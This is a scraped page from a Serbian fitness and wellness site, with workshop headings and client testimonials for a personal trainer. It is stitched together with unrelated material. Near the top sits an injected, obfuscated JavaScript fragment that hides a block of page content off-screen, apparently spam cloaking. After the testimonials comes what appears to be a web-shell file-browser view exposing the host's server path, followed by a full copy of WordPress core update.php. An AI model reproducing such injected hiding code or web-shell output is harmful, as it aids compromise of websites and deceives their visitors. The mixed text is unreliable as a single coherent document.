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Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
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Srce duše

Tesla

“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom
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Tesla

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
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Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
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Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
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Current Path : /home/nnaac01/domains/zdravotelo.net/public_html/wp-includes/
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Current File : /home/nnaac01/domains/zdravotelo.net/public_html/wp-includes/update.php

<?php
/**
 * A simple set of functions to check our version 1.0 update service.
 *
 * @package WordPress
 * @since 2.3.0
 */

/**
 * Check WordPress version against the newest version.
 *
 * The WordPress version, PHP version, and Locale is sent. Checks against the
 * WordPress server at api.wordpress.org server. Will only check if WordPress
 * isn't installing.
 *
 * @since 2.3.0
 * @global string $wp_version Used to check against the newest WordPress version.
 * @global wpdb   $wpdb
 * @global string $wp_local_package
 *
 * @param array $extra_stats Extra statistics to report to the WordPress.org API.
 * @param bool  $force_check Whether to bypass the transient cache and force a fresh update check. Defaults to false, true if $extra_stats is set.
 */
function wp_version_check( $extra_stats = array(), $force_check = false ) {
	if ( wp_installing() ) {
		return;
	}

	global $wpdb, $wp_local_package;
	// include an unmodified $wp_version
	include( ABSPATH . WPINC . '/version.php' );
	$php_version = phpversion();

	$current = get_site_transient( 'update_core' );
	$translations = wp_get_installed_translations( 'core' );

	// Invalidate the transient when $wp_version changes
	if ( is_object( $current ) && $wp_version != $current->version_checked )
		$current = false;

	if ( ! is_object($current) ) {
		$current = new stdClass;
		$current->updates = array();
		$current->version_checked = $wp_version;
	}

	if ( ! empty( $extra_stats ) )
		$force_check = true;

	// Wait 60 seconds between multiple version check requests
	$timeout = 60;
	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );
	if ( ! $force_check && $time_not_changed ) {
		return;
	}

	/**
	 * Filters the locale requested for WordPress core translations.
	 *
	 * @since 2.8.0
	 *
	 * @param string $locale Current locale.
	 */
	$locale = apply_filters( 'core_version_check_locale', get_locale() );

	// Update last_checked for current to prevent multiple blocking requests if request hangs
	$current->last_checked = time();
	set_site_transient( 'update_core', $current );

	if ( method_exists( $wpdb, 'db_version' ) )
		$mysql_version = preg_replace('/[^0-9.].*/', '', $wpdb->db_version());
	else
		$mysql_version = 'N/A';

	if ( is_multisite() ) {
		$user_count = get_user_count();
		$num_blogs = get_blog_count();
		$wp_install = network_site_url();
		$multisite_enabled = 1;
	} else {
		$user_count = count_users();
		$user_count = $user_count['total_users'];
		$multisite_enabled = 0;
		$num_blogs = 1;
		$wp_install = home_url( '/' );
	}

	$query = array(
		'version'            => $wp_version,
		'php'                => $php_version,
		'locale'             => $locale,
		'mysql'              => $mysql_version,
		'local_package'      => isset( $wp_local_package ) ? $wp_local_package : '',
		'blogs'              => $num_blogs,
		'users'              => $user_count,
		'multisite_enabled'  => $multisite_enabled,
		'initial_db_version' => get_site_option( 'initial_db_version' ),
	);

	$post_body = array(
		'translations' => wp_json_encode( $translations ),
	);

	if ( is_array( $extra_stats ) )
		$post_body = array_merge( $post_body, $extra_stats );

	$url = $http_url = 'http://api.wordpress.org/core/version-check/1.7/?' . http_build_query( $query, null, '&' );
	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
		$url = set_url_scheme( $url, 'https' );

	$options = array(
		'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3 ),
		'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		'headers' => array(
			'wp_install' => $wp_install,
			'wp_blog' => home_url( '/' )
		),
		'body' => $post_body,
	);

	$response = wp_remote_post( $url, $options );
	if ( $ssl && is_wp_error( $response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: support forums URL */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);
		$response = wp_remote_post( $http_url, $options );
	}

	if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) {
		return;
	}

	$body = trim( wp_remote_retrieve_body( $response ) );
	$body = json_decode( $body, true );

	if ( ! is_array( $body ) || ! isset( $body['offers'] ) ) {
		return;
	}

	$offers = $body['offers'];

	foreach ( $offers as &$offer ) {
		foreach ( $offer as $offer_key => $value ) {
			if ( 'packages' == $offer_key )
				$offer['packages'] = (object) array_intersect_key( array_map( 'esc_url', $offer['packages'] ),
					array_fill_keys( array( 'full', 'no_content', 'new_bundled', 'partial', 'rollback' ), '' ) );
			elseif ( 'download' == $offer_key )
				$offer['download'] = esc_url( $value );
			else
				$offer[ $offer_key ] = esc_html( $value );
		}
		$offer = (object) array_intersect_key( $offer, array_fill_keys( array( 'response', 'download', 'locale',
			'packages', 'current', 'version', 'php_version', 'mysql_version', 'new_bundled', 'partial_version', 'notify_email', 'support_email', 'new_files' ), '' ) );
	}

	$updates = new stdClass();
	$updates->updates = $offers;
	$updates->last_checked = time();
	$updates->version_checked = $wp_version;

	if ( isset( $body['translations'] ) )
		$updates->translations = $body['translations'];

	set_site_transient( 'update_core', $updates );

	if ( ! empty( $body['ttl'] ) ) {
		$ttl = (int) $body['ttl'];
		if ( $ttl && ( time() + $ttl < wp_next_scheduled( 'wp_version_check' ) ) ) {
			// Queue an event to re-run the update check in $ttl seconds.
			wp_schedule_single_event( time() + $ttl, 'wp_version_check' );
		}
	}

	// Trigger background updates if running non-interactively, and we weren't called from the update handler.
	if ( defined( 'DOING_CRON' ) && DOING_CRON && ! doing_action( 'wp_maybe_auto_update' ) ) {
		do_action( 'wp_maybe_auto_update' );
	}
}

/**
 * Check plugin versions against the latest versions hosted on WordPress.org.
 *
 * The WordPress version, PHP version, and Locale is sent along with a list of
 * all plugins installed. Checks against the WordPress server at
 * api.wordpress.org. Will only check if WordPress isn't installing.
 *
 * @since 2.3.0
 * @global string $wp_version Used to notify the WordPress version.
 *
 * @param array $extra_stats Extra statistics to report to the WordPress.org API.
 */
function wp_update_plugins( $extra_stats = array() ) {
	if ( wp_installing() ) {
		return;
	}

	// include an unmodified $wp_version
	include( ABSPATH . WPINC . '/version.php' );

	// If running blog-side, bail unless we've not checked in the last 12 hours
	if ( !function_exists( 'get_plugins' ) )
		require_once( ABSPATH . 'wp-admin/includes/plugin.php' );

	$plugins = get_plugins();
	$translations = wp_get_installed_translations( 'plugins' );

	$active  = get_option( 'active_plugins', array() );
	$current = get_site_transient( 'update_plugins' );
	if ( ! is_object($current) )
		$current = new stdClass;

	$new_option = new stdClass;
	$new_option->last_checked = time();

	// Check for update on a different schedule, depending on the page.
	switch ( current_filter() ) {
		case 'upgrader_process_complete' :
			$timeout = 0;
			break;
		case 'load-update-core.php' :
			$timeout = MINUTE_IN_SECONDS;
			break;
		case 'load-plugins.php' :
		case 'load-update.php' :
			$timeout = HOUR_IN_SECONDS;
			break;
		default :
			if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
				$timeout = 0;
			} else {
				$timeout = 12 * HOUR_IN_SECONDS;
			}
	}

	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );

	if ( $time_not_changed && ! $extra_stats ) {
		$plugin_changed = false;
		foreach ( $plugins as $file => $p ) {
			$new_option->checked[ $file ] = $p['Version'];

			if ( !isset( $current->checked[ $file ] ) || strval($current->checked[ $file ]) !== strval($p['Version']) )
				$plugin_changed = true;
		}

		if ( isset ( $current->response ) && is_array( $current->response ) ) {
			foreach ( $current->response as $plugin_file => $update_details ) {
				if ( ! isset($plugins[ $plugin_file ]) ) {
					$plugin_changed = true;
					break;
				}
			}
		}

		// Bail if we've checked recently and if nothing has changed
		if ( ! $plugin_changed ) {
			return;
		}
	}

	// Update last_checked for current to prevent multiple blocking requests if request hangs
	$current->last_checked = time();
	set_site_transient( 'update_plugins', $current );

	$to_send = compact( 'plugins', 'active' );

	$locales = array_values( get_available_languages() );

	/**
	 * Filters the locales requested for plugin translations.
	 *
	 * @since 3.7.0
	 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales.
	 *
	 * @param array $locales Plugin locales. Default is all available locales of the site.
	 */
	$locales = apply_filters( 'plugins_update_check_locales', $locales );
	$locales = array_unique( $locales );

	if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
		$timeout = 30;
	} else {
		// Three seconds, plus one extra second for every 10 plugins
		$timeout = 3 + (int) ( count( $plugins ) / 10 );
	}

	$options = array(
		'timeout' => $timeout,
		'body' => array(
			'plugins'      => wp_json_encode( $to_send ),
			'translations' => wp_json_encode( $translations ),
			'locale'       => wp_json_encode( $locales ),
			'all'          => wp_json_encode( true ),
		),
		'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )
	);

	if ( $extra_stats ) {
		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
	}

	$url = $http_url = 'http://api.wordpress.org/plugins/update-check/1.1/';
	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
		$url = set_url_scheme( $url, 'https' );

	$raw_response = wp_remote_post( $url, $options );
	if ( $ssl && is_wp_error( $raw_response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: support forums URL */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);
		$raw_response = wp_remote_post( $http_url, $options );
	}

	if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) ) {
		return;
	}

	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );
	foreach ( $response['plugins'] as &$plugin ) {
		$plugin = (object) $plugin;
		if ( isset( $plugin->compatibility ) ) {
			$plugin->compatibility = (object) $plugin->compatibility;
			foreach ( $plugin->compatibility as &$data ) {
				$data = (object) $data;
			}
		}
	}
	unset( $plugin, $data );
	foreach ( $response['no_update'] as &$plugin ) {
		$plugin = (object) $plugin;
	}
	unset( $plugin );

	if ( is_array( $response ) ) {
		$new_option->response = $response['plugins'];
		$new_option->translations = $response['translations'];
		// TODO: Perhaps better to store no_update in a separate transient with an expiry?
		$new_option->no_update = $response['no_update'];
	} else {
		$new_option->response = array();
		$new_option->translations = array();
		$new_option->no_update = array();
	}

	set_site_transient( 'update_plugins', $new_option );
}

/**
 * Check theme versions against the latest versions hosted on WordPress.org.
 *
 * A list of all themes installed in sent to WP. Checks against the
 * WordPress server at api.wordpress.org. Will only check if WordPress isn't
 * installing.
 *
 * @since 2.7.0
 *
 * @param array $extra_stats Extra statistics to report to the WordPress.org API.
 */
function wp_update_themes( $extra_stats = array() ) {
	if ( wp_installing() ) {
		return;
	}

	// include an unmodified $wp_version
	include( ABSPATH . WPINC . '/version.php' );

	$installed_themes = wp_get_themes();
	$translations = wp_get_installed_translations( 'themes' );

	$last_update = get_site_transient( 'update_themes' );
	if ( ! is_object($last_update) )
		$last_update = new stdClass;

	$themes = $checked = $request = array();

	// Put slug of current theme into request.
	$request['active'] = get_option( 'stylesheet' );

	foreach ( $installed_themes as $theme ) {
		$checked[ $theme->get_stylesheet() ] = $theme->get('Version');

		$themes[ $theme->get_stylesheet() ] = array(
			'Name'       => $theme->get('Name'),
			'Title'      => $theme->get('Name'),
			'Version'    => $theme->get('Version'),
			'Author'     => $theme->get('Author'),
			'Author URI' => $theme->get('AuthorURI'),
			'Template'   => $theme->get_template(),
			'Stylesheet' => $theme->get_stylesheet(),
		);
	}

	// Check for update on a different schedule, depending on the page.
	switch ( current_filter() ) {
		case 'upgrader_process_complete' :
			$timeout = 0;
			break;
		case 'load-update-core.php' :
			$timeout = MINUTE_IN_SECONDS;
			break;
		case 'load-themes.php' :
		case 'load-update.php' :
			$timeout = HOUR_IN_SECONDS;
			break;
		default :
			if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
				$timeout = 0;
			} else {
				$timeout = 12 * HOUR_IN_SECONDS;
			}
	}

	$time_not_changed = isset( $last_update->last_checked ) && $timeout > ( time() - $last_update->last_checked );

	if ( $time_not_changed && ! $extra_stats ) {
		$theme_changed = false;
		foreach ( $checked as $slug => $v ) {
			if ( !isset( $last_update->checked[ $slug ] ) || strval($last_update->checked[ $slug ]) !== strval($v) )
				$theme_changed = true;
		}

		if ( isset ( $last_update->response ) && is_array( $last_update->response ) ) {
			foreach ( $last_update->response as $slug => $update_details ) {
				if ( ! isset($checked[ $slug ]) ) {
					$theme_changed = true;
					break;
				}
			}
		}

		// Bail if we've checked recently and if nothing has changed
		if ( ! $theme_changed ) {
			return;
		}
	}

	// Update last_checked for current to prevent multiple blocking requests if request hangs
	$last_update->last_checked = time();
	set_site_transient( 'update_themes', $last_update );

	$request['themes'] = $themes;

	$locales = array_values( get_available_languages() );

	/**
	 * Filters the locales requested for theme translations.
	 *
	 * @since 3.7.0
	 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales.
	 *
	 * @param array $locales Theme locales. Default is all available locales of the site.
	 */
	$locales = apply_filters( 'themes_update_check_locales', $locales );
	$locales = array_unique( $locales );

	if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
		$timeout = 30;
	} else {
		// Three seconds, plus one extra second for every 10 themes
		$timeout = 3 + (int) ( count( $themes ) / 10 );
	}

	$options = array(
		'timeout' => $timeout,
		'body' => array(
			'themes'       => wp_json_encode( $request ),
			'translations' => wp_json_encode( $translations ),
			'locale'       => wp_json_encode( $locales ),
		),
		'user-agent'	=> 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )
	);

	if ( $extra_stats ) {
		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
	}

	$url = $http_url = 'http://api.wordpress.org/themes/update-check/1.1/';
	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
		$url = set_url_scheme( $url, 'https' );

	$raw_response = wp_remote_post( $url, $options );
	if ( $ssl && is_wp_error( $raw_response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: support forums URL */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);
		$raw_response = wp_remote_post( $http_url, $options );
	}

	if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) ) {
		return;
	}

	$new_update = new stdClass;
	$new_update->last_checked = time();
	$new_update->checked = $checked;

	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );

	if ( is_array( $response ) ) {
		$new_update->response     = $response['themes'];
		$new_update->translations = $response['translations'];
	}

	set_site_transient( 'update_themes', $new_update );
}

/**
 * Performs WordPress automatic background updates.
 *
 * @since 3.7.0
 */
function wp_maybe_auto_update() {
	include_once( ABSPATH . '/wp-admin/includes/admin.php' );
	include_once( ABSPATH . '/wp-admin/includes/class-wp-upgrader.php' );

	$upgrader = new WP_Automatic_Updater;
	$upgrader->run();
}

/**
 * Retrieves a list of all language updates available.
 *
 * @since 3.7.0
 *
 * @return array
 */
function wp_get_translation_updates() {
	$updates = array();
	$transients = array( 'update_core' => 'core', 'update_plugins' => 'plugin', 'update_themes' => 'theme' );
	foreach ( $transients as $transient => $type ) {
		$transient = get_site_transient( $transient );
		if ( empty( $transient->translations ) )
			continue;

		foreach ( $transient->translations as $translation ) {
			$updates[] = (object) $translation;
		}
	}
	return $updates;
}

/**
 * Collect counts and UI strings for available updates
 *
 * @since 3.3.0
 *
 * @return array
 */
function wp_get_update_data() {
	$counts = array( 'plugins' => 0, 'themes' => 0, 'wordpress' => 0, 'translations' => 0 );

	if ( $plugins = current_user_can( 'update_plugins' ) ) {
		$update_plugins = get_site_transient( 'update_plugins' );
		if ( ! empty( $update_plugins->response ) )
			$counts['plugins'] = count( $update_plugins->response );
	}

	if ( $themes = current_user_can( 'update_themes' ) ) {
		$update_themes = get_site_transient( 'update_themes' );
		if ( ! empty( $update_themes->response ) )
			$counts['themes'] = count( $update_themes->response );
	}

	if ( ( $core = current_user_can( 'update_core' ) ) && function_exists( 'get_core_updates' ) ) {
		$update_wordpress = get_core_updates( array('dismissed' => false) );
		if ( ! empty( $update_wordpress ) && ! in_array( $update_wordpress[0]->response, array('development', 'latest') ) && current_user_can('update_core') )
			$counts['wordpress'] = 1;
	}

	if ( ( $core || $plugins || $themes ) && wp_get_translation_updates() )
		$counts['translations'] = 1;

	$counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'] + $counts['translations'];
	$titles = array();
	if ( $counts['wordpress'] ) {
		/* translators: 1: Number of updates available to WordPress */
		$titles['wordpress'] = sprintf( __( '%d WordPress Update'), $counts['wordpress'] );
	}
	if ( $counts['plugins'] ) {
		/* translators: 1: Number of updates available to plugins */
		$titles['plugins'] = sprintf( _n( '%d Plugin Update', '%d Plugin Updates', $counts['plugins'] ), $counts['plugins'] );
	}
	if ( $counts['themes'] ) {
		/* translators: 1: Number of updates available to themes */
		$titles['themes'] = sprintf( _n( '%d Theme Update', '%d Theme Updates', $counts['themes'] ), $counts['themes'] );
	}
	if ( $counts['translations'] ) {
		$titles['translations'] = __( 'Translation Updates' );
	}

	$update_title = $titles ? esc_attr( implode( ', ', $titles ) ) : '';

	$update_data = array( 'counts' => $counts, 'title' => $update_title );
	/**
	 * Filters the returned array of update data for plugins, themes, and WordPress core.
	 *
	 * @since 3.5.0
	 *
	 * @param array $update_data {
	 *     Fetched update data.
	 *
	 *     @type array   $counts       An array of counts for available plugin, theme, and WordPress updates.
	 *     @type string  $update_title Titles of available updates.
	 * }
	 * @param array $titles An array of update counts and UI strings for available updates.
	 */
	return apply_filters( 'wp_get_update_data', $update_data, $titles );
}

/**
 * Determines whether core should be updated.
 *
 * @since 2.8.0
 *
 * @global string $wp_version
 */
function _maybe_update_core() {
	// include an unmodified $wp_version
	include( ABSPATH . WPINC . '/version.php' );

	$current = get_site_transient( 'update_core' );

	if ( isset( $current->last_checked, $current->version_checked ) &&
		12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) &&
		$current->version_checked == $wp_version ) {
		return;
	}
	wp_version_check();
}
/**
 * Check the last time plugins were run before checking plugin versions.
 *
 * This might have been backported to WordPress 2.6.1 for performance reasons.
 * This is used for the wp-admin to check only so often instead of every page
 * load.
 *
 * @since 2.7.0
 * @access private
 */
function _maybe_update_plugins() {
	$current = get_site_transient( 'update_plugins' );
	if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) )
		return;
	wp_update_plugins();
}

/**
 * Check themes versions only after a duration of time.
 *
 * This is for performance reasons to make sure that on the theme version
 * checker is not run on every page load.
 *
 * @since 2.7.0
 * @access private
 */
function _maybe_update_themes() {
	$current = get_site_transient( 'update_themes' );
	if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) )
		return;
	wp_update_themes();
}

/**
 * Schedule core, theme, and plugin update checks.
 *
 * @since 3.1.0
 */
function wp_schedule_update_checks() {
	if ( ! wp_next_scheduled( 'wp_version_check' ) && ! wp_installing() )
		wp_schedule_event(time(), 'twicedaily', 'wp_version_check');

	if ( ! wp_next_scheduled( 'wp_update_plugins' ) && ! wp_installing() )
		wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins');

	if ( ! wp_next_scheduled( 'wp_update_themes' ) && ! wp_installing() )
		wp_schedule_event(time(), 'twicedaily', 'wp_update_themes');
}

/**
 * Clear existing update caches for plugins, themes, and core.
 *
 * @since 4.1.0
 */
function wp_clean_update_cache() {
	if ( function_exists( 'wp_clean_plugins_cache' ) ) {
		wp_clean_plugins_cache();
	} else {
		delete_site_transient( 'update_plugins' );
	}
	wp_clean_themes_cache();
	delete_site_transient( 'update_core' );
}

if ( ( ! is_main_site() && ! is_network_admin() ) || wp_doing_ajax() ) {
	return;
}

add_action( 'admin_init', '_maybe_update_core' );
add_action( 'wp_version_check', 'wp_version_check' );

add_action( 'load-plugins.php', 'wp_update_plugins' );
add_action( 'load-update.php', 'wp_update_plugins' );
add_action( 'load-update-core.php', 'wp_update_plugins' );
add_action( 'admin_init', '_maybe_update_plugins' );
add_action( 'wp_update_plugins', 'wp_update_plugins' );

add_action( 'load-themes.php', 'wp_update_themes' );
add_action( 'load-update.php', 'wp_update_themes' );
add_action( 'load-update-core.php', 'wp_update_themes' );
add_action( 'admin_init', '_maybe_update_themes' );
add_action( 'wp_update_themes', 'wp_update_themes' );

add_action( 'update_option_WPLANG', 'wp_clean_update_cache' , 10, 0 );

add_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' );

add_action( 'init', 'wp_schedule_update_checks' );

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